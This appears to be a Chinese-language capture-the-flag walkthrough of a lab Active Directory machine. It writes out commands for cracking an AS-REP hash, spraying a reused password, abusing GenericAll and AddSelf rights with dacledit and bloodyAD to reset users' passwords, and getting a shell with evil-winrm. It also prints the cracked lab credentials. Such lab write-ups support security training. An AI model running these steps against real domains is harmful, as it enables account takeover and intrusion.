Hash brute

hashcat output.txt

探测出来18200，直接rockyou爆破

hashcat output.txt -a 0 -m 18200 /usr/share/wordlists/rockyou.txt

爆破出密码:WAT?watismypass!

得到凭据:l.clark:WAT?watismypass!

密码复用

跑smb，wmi都连不上去，说明这个用户没啥大用，看有没有其它用户复用这个密码

d.anderson
o.martinez
k.turner
a.walker
m.harris
e.rodriguez

crackmapexec smb 10.10.11.35 -u 1.txt -p 'WAT?watismypass!'

得到凭据:d.anderson:WAT?watismypass!

也是连不上，（x

bloodhound收集

尝试下能不能收集域信息

bloodhound-python -d infiltrator.htb -u l.clark -p 'WAT?watismypass!' -c all --dns-tcp --zip --dns-timeout 10

导入bloodhound，没啥有用的信息

bloodhound-python -d infiltrator.htb -u d.anderson -p 'WAT?watismypass!' -c all --dns-tcp --zip --dns-timeout 10

导入bloodhound，d.anderson对MARKETING DIGITAL@INFILTRATOR.HTB有GenericAll权限，e.rodriguez属于MARKETING DIGITAL组，所以我们可以修改e.rodriguez的密码

GenericAll

首先修改d.anderson对MARKETING DIGITAL组的控制权限为FullControl，先获取d.anderson的票据

impacket-getTGT 'infiltrator.htb/d.anderson:WAT?watismypass!' -dc-ip 10.10.11.31

然后导入票据：export KRB5CCNAME=d.anderson.ccache

修改权限: python3 AD/impacket/examples/dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson' -k -no-pass -dc-ip 10.10.11.31

修改密码

python3 bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip 10.10.11.31 -u "d.anderson" -p "WAT?watismypass\!" set password "e.rodriguez" "K@night666"

查看e.rodriguez用户信息，发现对CHIEFS MARKETING组有AddSelf权限

把e.rodriguez用户加入CHIEFS MARKETING组

python3 AD/bloodyAD/bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --dc-ip 10.10.11.31 -u e.rodriguez -p "K@night666" -k add groupMember "CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB" e.rodriguez

查看CHIEFS MARKETING组权限，发现可以强制修改M.HARRIS用户的密码

使用e.rodriguez用户修改掉M.HARRIS用户的密码

python3 AD/bloodyAD/bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip 10.10.11.31 -u "e.rodriguez" -p "K@night666" set password "m.harris" "K@night666"

evil-winrm

使用m.harris用户evil-winrm连接上拿到user.txt

提权

一个压缩包，里面mysql root用户密码，直接读Administrator用户的root.txt（公共环境太难受了，这里不演示了
